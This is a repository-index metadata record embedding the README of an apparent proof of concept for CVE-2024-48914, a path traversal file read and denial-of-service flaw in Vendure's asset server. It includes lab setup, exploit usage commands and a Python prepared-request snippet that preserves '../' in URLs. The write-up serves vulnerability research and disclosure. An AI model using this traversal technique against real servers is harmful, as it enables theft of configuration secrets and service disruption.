{"id":22218277,"url":"https://github.com/eqstlab/cve-2024-48914","last_synced_at":"2025-07-27T14:32:35.467Z","repository":{"id":258987804,"uuid":"876045350","full_name":"EQSTLab/CVE-2024-48914","owner":"EQSTLab","description":"Arbitrary File Read and DoS in vendure-ecommerce exploit","archived":false,"fork":false,"pushed_at":"2024-10-21T10:50:16.000Z","size":209,"stargazers_count":5,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-04T03:04:01.350Z","etag":null,"topics":["cve","exploit","poc","proof-of-concept","security","typescript","vulnerability"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/EQSTLab.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-10-21T10:02:05.000Z","updated_at":"2025-03-18T17:59:37.000Z","dependencies_parsed_at":"2024-10-22T11:34:07.755Z","dependency_job_id":null,"html_url":"https://github.com/EQSTLab/CVE-2024-48914","commit_stats":null,"previous_names":["eqstlab/cve-2024-48914"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/EQSTLab/CVE-2024-48914","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-48914","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-48914/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-48914/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-48914/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EQSTLab","download_url":"https://codeload.github.com/EQSTLab/CVE-2024-48914/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-48914/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":267370616,"owners_count":24076458,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-07-27T02:00:11.917Z","response_time":82,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve","exploit","poc","proof-of-concept","security","typescript","vulnerability"],"created_at":"2024-12-02T22:20:01.330Z","updated_at":"2025-07-27T14:32:35.174Z","avatar_url":"https://github.com/EQSTLab.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"This post is a research article published by [EQSTLab](https://github.com/EQSTLab).\n\n\n**Thanks to [Rajesh Sharma](https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq), who discovered this vulnerability.**\n\n\n# CVE-2024-48914\n★ CVE-2024-48914 Arbitrary File Read and DoS PoC ★\n\n\n\n## Description\nCVE-2024-48914 : vendure-ecommerce Arbitrary file read and DoS Vulnerability\n\n\ndescription: Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI. Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing `/../`.\n\n\n## Lab Setup\nDownload vulnerable version([v3.0.4](https://github.com/vendure-ecommerce/vendure/tree/v3.0.4)):\n### Install top-level dependencies\n```sh\nnpm install\n``` \n\n\n### Build all packages\n```sh\nnpm run build\n```\n\n\n## Setup the database and elasticsearch\n**docker-compose.yml**\n```\n# This contains the services required to develop and test Vendure\n# locally. It includes multiple SQL databases (for testing specific\n# versions), Elasticsearch, Redis etc.\nversion: '3.7'\nname: vendure-monorepo\nservices:\n  mariadb:\n    image: 'bitnami/mariadb:latest'\n    container_name: mariadb\n    environment:\n      MARIADB_DATABASE: vendure-dev\n      MARIADB_ROOT_USER: vendure\n      MARIADB_ROOT_PASSWORD: password\n    volumes:\n      - 'mariadb_data:/bitnami'\n    ports:\n      - '3306:3306'\n  mysql_8:\n    image: bitnami/mysql:8.0\n    container_name: mysql-8\n    environment:\n      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password\n      MYSQL_DATABASE: vendure-dev\n      MYSQL_ROOT_USER: vendure\n      MYSQL_ROOT_PASSWORD: password\n    volumes:\n      - 'mysql_data:/bitnami'\n    ports:\n      - '3306:3306'\n  mysql_5:\n    image: bitnami/mysql:5.7\n    container_name: mysql-5.7\n    environment:\n      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password\n      MYSQL_DATABASE: vendure-dev\n      MYSQL_ROOT_USER: vendure\n      MYSQL_ROOT_PASSWORD: password\n    volumes:\n      - 'mysql_data:/bitnami'\n    ports:\n      - '3306:3306'\n  postgres_12:\n    image: postgres:12.3\n    container_name: postgres_12\n    environment:\n      POSTGRES_DB: vendure-dev\n      POSTGRES_USER: vendure\n      POSTGRES_PASSWORD: password\n      PGDATA: /var/lib/postgresql/data\n    volumes:\n      - postgres_12_data:/var/lib/postgresql/data\n    ports:\n      - \"5432:5432\"\n    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200\n  postgres_16:\n    image: postgres:16\n    container_name: postgres_16\n    environment:\n      POSTGRES_DB: vendure-dev\n      POSTGRES_USER: vendure\n      POSTGRES_PASSWORD: password\n      PGDATA: /var/lib/postgresql/data\n    volumes:\n      - postgres_16_data:/var/lib/postgresql/data\n    ports:\n      - \"5432:5432\"\n    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200\n  # This is the Keycloak service which is used\n  # to test the Keycloak auth strategy\n  keycloak:\n    image: quay.io/keycloak/keycloak\n    ports:\n      - \"9000:8080\"\n    environment:\n      KEYCLOAK_ADMIN: admin\n      KEYCLOAK_ADMIN_PASSWORD: admin\n    command:\n      - start-dev\n      - --import-realm\n    volumes:\n      - keycloak_data:/opt/keycloak/data\n  elasticsearch:\n    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2\n    container_name: elasticsearch\n    environment:\n      - discovery.type=single-node\n      - bootstrap.memory_lock=true\n      - \"ES_JAVA_OPTS=-Xms512m -Xmx512m\"\n    ulimits:\n      memlock:\n        soft: -1\n        hard: -1\n    volumes:\n      - esdata:/usr/share/elasticsearch/data\n    ports:\n      - 9200:9200\n  redis:\n    image: bitnami/redis:7.4.1\n    hostname: redis\n    container_name: redis\n    environment:\n      - ALLOW_EMPTY_PASSWORD=yes\n    ports:\n      - \"6379:6379\"\nvolumes:\n  postgres_16_data:\n    driver: local\n  postgres_12_data:\n    driver: local\n  mariadb_data:\n    driver: local\n  mysql_data:\n    driver: local\n  keycloak_data:\n    driver: local\n  esdata:\n    driver: local\n```\n**Command to execute**\n```sh\ndocker-compose up -d mariadb\ndocker-compose up -d elasticsearch\ncd packages/dev-server\nnpm run populate\nnpm run start\n```\n\n\n## How to use\n### Git clone\n```sh\ngit clone https://github.com/EQSTLab/CVE-2024-48914.git\ncd CVE-2024-48914\n```\n\n\n### Install packages\n```sh\npip install -r requirements.txt\n```\n\n\n### Command\n```sh\n# Arbitrary File Read (mode 1)\npython CVE-2024-48914.py -u \u003cURL_TO_EXPLOIT\u003e -f \u003cFILE_TO_READ\u003e -m 1\n# Denial of Service (mode 2)\npython CVE-2024-48914.py -u \u003cURL_TO_EXPLOIT\u003e -m 2\n```\n\n\n### Output\n**CVE-2024-48914.py (Arbitrary File Read)**\n![alt text](./assets/1.png)\n\n**CVE-2024-48914.py (DoS Attack)**\n![alt text](./assets/2.png)\n![alt text](./assets/3.png)\n\n\n## Analysis\n**vendure/packages/asset-server-plugin/src/plugin.ts**\n```\n const decodedReqPath = decodeURIComponent(req.path);\n        if (imageParamsString !== '') {\n            const imageParamHash = this.md5(imageParamsString);\n            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));\n        } else {\n            return decodedReqPath;\n        }\n```\n\nThe vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js\nThis vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server.\n\n\n## Python tips\nWhen using python requests module the \"../\" it stripped from the urlpath. If you use \"prepared requests\" like below, you can use python requests module without the \"../\" stripping from the urlpath.\n```\ndef readFile(self) -\u003e None:\n        url = f\"{self.url}/assets/../{self.file}\"\n        s = requests.Session()\n        req = requests.Request(method='GET' ,url=url)\n        prep = req.prepare()\n        prep.url = url\n        response = s.send(prep, verify=False)\n...\n```\n\n\n## Disclaimer\nThis repository is not intended to be Arbitrary File Read or DoS exploit to CVE-2024-48914. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.\n\n\n## References\nhttps://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq\nhttps://github.com/vendure-ecommerce/vendure/tree/v3.0.4","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Feqstlab%2Fcve-2024-48914","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Feqstlab%2Fcve-2024-48914","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Feqstlab%2Fcve-2024-48914/lists"}